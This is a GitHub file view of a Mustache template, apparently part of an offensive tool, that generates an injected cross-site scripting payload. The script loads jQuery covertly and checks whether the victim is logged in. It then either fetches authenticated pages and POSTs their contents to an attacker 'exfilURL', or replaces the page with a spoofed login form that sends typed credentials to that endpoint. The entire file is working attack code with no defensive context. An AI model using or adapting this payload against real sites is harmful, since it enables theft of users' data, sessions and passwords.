-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathxss.stache
90 lines (85 loc) · 2.94 KB
/
xss.stache
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
/*
* This outer function container ensures that we don't leak variables globally.
*/
(function() {
var loginCheckURL = {{{loginCheckURL}}};
var loginCheckPattern = /{{{loginCheckPattern}}}/i;
var loginURL = {{{loginURL}}};
var exfilURL = {{{exfilURL}}};
/*
* We load in jQuery in a way which doesn't expose it to the surrounding page.
* This avoids issues with differing jQuery versions breaking target sites.
*/
var script = document.createElement("script");
script.src = 'https://code.jquery.com/jquery-3.2.1.min.js';
script.type = 'text/javascript';
script.onload = function() {
(function($) {
/*
* As there are multiple ways to trigger our actions, set them up as functions.
*/
function onLoggedIn() {
/*
* The user is logged in - load the resources and send them to the exfil endpoint.
* This request will be launched when all resources load, or a 5s timeout elapses.
*/
var isSent = false;
var xdata = [];
var remaining = {{dataURLCount}};
var exfil = function() {
if (!isSent) {
var form = $('<form>');
form.attr('method', 'POST');
form.attr('action', exfilURL);
for (var i = 0; i < xdata.length; i++) {
for (var k in xdata[i]) {
if (xdata[i].hasOwnProperty(k)) {
var tag = $('<input>');
tag.attr('name', k + i);
tag.val(xdata[i][k]);
form.append(tag);
}
}
}
$('body').append(form);
form.submit();
}
isSent = true;
}
{{#dataURLs}}
$.{{method}}({{{url}}}{{{#data}}}, function(r) {
xdata.push({url: {{{url}}}, method: '{{{method}}}', response: r});
remaining -= 1;
if (remaining <= 0) { exfil(); }
}, 'text');
{{/dataURLs}}
window.setTimeout(exfil, 5000);
}
function onNotLoggedIn() {
/*
* The user is not logged in - fake load the login page then alter the forms.
*/
if (window.history && window.history.replaceState) {
window.history.replaceState({}, "Login", loginURL)
} else if (window.history && window.history.pushState) {
window.history.pushState({}, "Login", loginURL)
}
$.get(loginURL, function(r) {
$('body').html(r);
$('form').attr('action', exfilURL);
}, 'text');
}
/*
* Fetch a page to check whether the user is logged in.
*/
$.get(loginCheckURL, function(r) {
if (r.match(loginCheckPattern)) {
onLoggedIn();
} else {
onNotLoggedIn();
}
}, 'text').fail(onNotLoggedIn);
})(window.jQuery.noConflict(true)) // noConflict(true) reverses changes to all globals
};
document.getElementsByTagName("head")[0].appendChild(script);
})();